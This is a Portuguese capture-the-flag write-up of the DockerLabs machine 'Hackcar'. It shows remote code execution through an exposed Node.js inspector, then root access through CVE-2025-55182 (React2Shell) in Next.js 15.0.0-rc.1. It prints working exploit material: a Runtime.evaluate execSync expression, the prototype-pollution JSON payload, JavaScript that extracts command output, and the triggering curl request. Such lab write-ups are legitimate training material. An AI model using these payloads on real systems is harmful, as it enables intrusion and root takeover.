
Writeup: Hackcar - DockerLabs (RCE via Node.js Inspector + CVE-2025-55182 React2Shell)
Plataforma: DockerLabs Dificuldade: Média (mais ou menos, tem seu tempero) Objetivo: De
webuserarootquebrando um Next.js
Como sempre, primeiro o primeiro: ver o que temos pela frente.
nmap -sC -sV -T4 172.17.0.2
PORT STATE SERVICE VERSION
8080/tcp open http Node.js (Express middleware)
9229/tcp open http ????
Espera... 9229? Essa porta não é normal. E um scan completo confirma que só há duas portas:
nmap -p- --min-rate 1000 -T4 172.17.0.2
PORT STATE SERVICE
8080/tcp open http-proxy
9229/tcp open unknown
A 9229 é a típica porta do . Se está exposta sem proteção, é basicamente uma porta aberta para execução de código. Vamos verificar.
curl -s http://172.17.0.2:9229/json
[{
"description": "node.js instance",
"title": "/home/webuser/node_app/app.js",
"webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]
Bingo. O debugger do Node está exposto, sem autenticação, e ainda nos diz onde vive a app. Isso é RCE direto.
Com o debugger exposto só precisamos nos conectar ao WebSocket e usar Runtime.evaluate para executar o que quisermos dentro do processo do Node.
Fiz um script rápido em Python que pega a URL do debugger e executa comandos com process.mainModule.require('child_process').execSync():
expression = ("process.mainModule.require('child_process')"
f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")
Para não brigar com aspas, mando todo o comando em base64 e decodifico dentro do próprio processo. Primeiro teste:
python3 node_rce.py "id"
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)
RCE como webuser. A máquina está na mão... ou assim eu pensava. Acontece que o bom estava mais escondido.
Vamos olhar os processos para ver o que mais roda na máquina:
ps auxww
root 7 0.0 0.0 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root 8 0.0 0.0 npm exec next dev -p 3000 -H 127.0.0.1
root 30 0.0 0.0 node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root 42 0.8 2.4 next-server (v15.0.0-rc.1)
Olha o detalhe! Tem um Next.js versão 15.0.0-rc.1 rodando como ROOT na porta 3000 (só localhost). Isso cheira a privilégio... e a CVE.
Como só escuta em 127.0.0.1 dentro do container, não podemos tocá-la de fora. Mas temos RCE, então podemos entrar por dentro. Primeiro vejamos o que é:
curl -s http://127.0.0.1:3000/
Aparece um "Internal Administration Portal" — um portal interno de administração. Tudo muito apetitoso.
A flag de user encontramos rápido:
DL{g2QrDUvg3HiqaWeZBbZa}
E agora é escalar para root através desse Next.js.
A versão é Next.js 15.0.0-rc.1, que usa React 19 vulnerável ao famoso React2Shell (CVE-2025-55182): um RCE crítico (CVSS 10.0) por prototype pollution no parser RSC (React Server Components / Flight protocol).
O exploit é um multipart/form-data malformado com o header Next-Action, que faz o parser do React desserializar um objeto envenenado que acaba chamando o construtor Function com nosso código:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "<CÓDIGO JS A EXECUTAR>",
"_formData": {"get": "$1:constructor:constructor"}
}
}
Ou seja: envenena-se Chunk.prototype.then, o parser carrega nosso modelo, e ao resolver a promise executa nosso JavaScript no processo do Next.js, que roda como root.
Para extrair o output usei o modo "redirect": o código executa o comando, faz base64 do resultado e o coloca na propriedade digest de um Error, que o Next.js devolve como header:
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;
A requisição final:
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
-H 'Next-Action: x' \
-F '0=</tmp/p0.txt' \
-F '1=</tmp/p1.txt'
O servidor responde 500 (é normal, é um erro proposital) e no header:
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...
Decodificamos:
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
uid=0(root) gid=0(root) groups=0(root)
SOMOS ROOT. E a flag:
python3 react2shell.py "cat /root/root.txt"
DL{Z8Gc5NFYMrH3W4vv5ZWa}
nmap
└─ 8080 (web Express, estática, pura fumaça)
└─ 9229 (Node.js inspector EXPOSTO)
└─ RCE como webuser via Runtime.evaluate
└─ Enumeração: Next.js 15.0.0-rc.1 em 127.0.0.1:3000 como ROOT
└─ CVE-2025-55182 (React2Shell): RCE root
└─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}
Flags:
| Arquivo | Flag |
|---|---|
/home/webuser/user.txt | DL{g2QrDUvg3HiqaWeZBbZa} |
/root/root.txt | DL{Z8Gc5NFYMrH3W4vv5ZWa} |
| # | Vulnerabilidade | CWE | O que nos deu |
|---|---|---|---|
| 1 | Node.js inspector sem autenticação (porta 9229) | CWE-284 | RCE como webuser |
| 2 | Next.js 15.0.0-rc.1 desatualizada (React2Shell, CVE-2025-55182) | CWE-1321 / CWE-502 | RCE como root |
Lições:
| Ferramenta | Uso |
|---|---|
nmap | Reconhecimento de portas |
curl | Enumeração web e disparar o exploit |
websocket-client (Python) | Falar com o inspector do Node |
jadx | A máquina anterior (não aqui, mas continuo achando bonito) |
base64 | Transportar payloads sem problemas com aspas |
Writeup com fins educativos. Só mexa em máquinas onde você tem autorização (DockerLabs, HTB, seu próprio laboratório).